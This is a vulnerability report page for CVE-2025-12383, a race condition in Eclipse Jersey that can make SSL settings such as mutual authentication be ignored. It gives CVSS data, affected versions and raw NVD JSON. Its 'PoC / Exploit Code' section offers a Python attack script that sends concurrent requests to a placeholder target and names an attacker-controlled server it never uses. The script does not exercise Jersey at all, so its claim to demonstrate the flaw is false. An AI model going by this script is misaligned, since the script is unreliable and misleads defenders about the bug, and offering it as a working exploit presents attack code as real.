Security Vulnerability Report
中文
CVE-2025-12383 CVSS 7.4 HIGH

CVE-2025-12383

Published: 2025-11-18 16:15:43
Last Modified: 2026-01-16 20:09:26

Description

In Eclipse Jersey versions 2.45, 3.0.16, 3.1.9 a race condition can cause ignoring of critical SSL configurations - such as mutual authentication, custom key/trust stores, and other security settings. This issue may result in SSLHandshakeException under normal circumstances, but under certain conditions, it could lead to unauthorized trust in insecure servers (see PoC)

CVSS Details

CVSS Score
7.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:eclipse:jersey:2.45:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:eclipse:jersey:3.0.16:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:eclipse:jersey:3.1.9:*:*:*:*:*:*:* - VULNERABLE
Eclipse Jersey 2.45
Eclipse Jersey 3.0.16
Eclipse Jersey 3.1.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import threading import ssl import urllib3 urllib3.disable_warnings() # POC for CVE-2025-12383: Eclipse Jersey SSL Race Condition # This demonstrates how concurrent requests can trigger race condition # that leads to SSL configuration being ignored def trigger_ssl_connection(url, client_cert=None, client_key=None): """ Trigger SSL connection with client certificate Simulates concurrent requests that may trigger race condition """ try: # Using requests library with client certificate response = requests.get( url, cert=(client_cert, client_key) if client_cert else None, verify=True, timeout=10 ) return response.status_code except requests.exceptions.SSLError as e: return f"SSL Error: {str(e)}" except Exception as e: return f"Error: {str(e)}" def poc_exploit(target_url, malicious_server): """ Demonstrate the race condition vulnerability Multiple threads send concurrent requests """ print(f"[*] Target: {target_url}") print(f"[*] Malicious Server: {malicious_server}") print("[*] Starting concurrent SSL requests...") # Simulate concurrent requests that may trigger race condition threads = [] for i in range(20): t = threading.Thread( target=trigger_ssl_connection, args=(target_url,) ) threads.append(t) t.start() # Wait for all threads to complete for t in threads: t.join() print("[*] Race condition test completed") print("[*] If SSL configuration was ignored, requests may succeed") print("[*] to untrusted servers or fail with SSLHandshakeException") # Usage example if __name__ == "__main__": target = "https://vulnerable-jersey-server.com/api/secure" malicious = "https://attacker-controlled-server.com" poc_exploit(target, malicious)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12383", "sourceIdentifier": "[email protected]", "published": "2025-11-18T16:15:42.867", "lastModified": "2026-01-16T20:09:26.027", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Eclipse Jersey versions 2.45, 3.0.16, 3.1.9 a race condition can cause ignoring of critical SSL configurations - such as mutual authentication, custom key/trust stores, and other security settings. This issue may result in SSLHandshakeException under normal circumstances, but under certain conditions, it could lead to unauthorized trust in insecure servers (see PoC)"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:eclipse:jersey:2.45:*:*:*:*:*:*:*", "matchCriteriaId": "0AB3AD89-3D53-44D4-88F2-EC0B8CE4EFA7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:eclipse:jersey:3.0.16:*:*:*:*:*:*:*", "matchCriteriaId": "5CFA26EB-7ABF-4EB7-9A1B-80D1655138E6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:eclipse:jersey:3.1.9:*:*:*:*:*:*:*", "matchCriteriaId": "34463160-4787-4959-8DE9-E97E759D1A71"}]}]}], "references": [{"url": "https://gitlab.eclipse.org/security/cve-assignment/-/issues/74", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}